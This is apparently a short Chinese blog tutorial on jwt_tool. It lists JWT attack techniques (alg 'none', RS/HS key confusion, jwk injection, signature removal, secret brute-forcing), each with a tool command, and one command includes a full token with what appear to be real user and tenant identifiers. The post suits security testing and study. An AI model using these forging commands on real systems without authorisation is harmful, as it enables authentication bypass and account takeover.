简介

JWT_TOOL是一个基于Python的工具,可用于各种与JSON Web Token(JWT)相关的任务,如解码、验证、签名和伪造JWT。它还可用于测试JWT实现中的漏洞

利用

  1. 服务端可能不检查签名。尝试直接更改 payload 部分,若响应和未更改之前相同,则服务端未检查。

  2. 若采用对称加密算法,则可以尝试暴力破解获取 secret。

  3. CVE-2015-9235 。将 header 中的 alg 更改为 none ,jwt 库就不会检验签名。jwt_tool.py -X a

python3.7 jwt_tool.py eyJ0eXAiOiJKc29uV2ViVG9rZW4iLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiLlkI7lj7DkuJrliqHov5DokKUs5raI6LS56LSm5oi35omj5qy-IiwidXNlcl9pZCI6IjE1NTI5NzAyODU3ODU4MTI5OTMiLCJyb2xlX2lkIjoiMTQxNzA1Njg2NDAwMDAyMDQ4MSwxNTA0MzM1NDQ2OTU3MDAyNzUzIiwidXNlcl9uYW1lIjoiZ3VvbiIsIm9hdXRoX2lkIjoiIiwidG9rZW5fdHlwZSI6ImFjY2Vzc190b2tlbiIsImFjY291bnQiOiJndW9uIiwiY2xpZW50X2lkIjoic2FiZXIiLCJleHAiOjE2NzA5Mzc4ODYsIm5iZiI6MTY3MDMzMzA4Nn0.EmIc3lk7CsyuL4b_vkYYkIOW3sVUT0PJAed0lip4wx0 -X a

jwt1.jpg

  1. CVE-2016-5431。若采用非对称加密(RAS 等),尝试将其修改为对称加密算法(HS256、HS512 等)。并将服务端的公钥作为 secret 。jwt_tool.py -X k

jwt2.jpg

  1. CVE-2018-0114。伪造密钥。如果 header 中存在 jwk ,则可以尝试利用`jwt_tool.py -X s`。

jwt3.jpg

  1. CVE-2020-28042。将签名删除,检测能否成功。jwt_tool.py -X n

jwt4.jpg

文章作者: weehhd
版权声明: 本站所有文章除特别声明外,均採用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 weehhd
喜欢就支持一下吧
打赏
微信 微信
支付宝 支付宝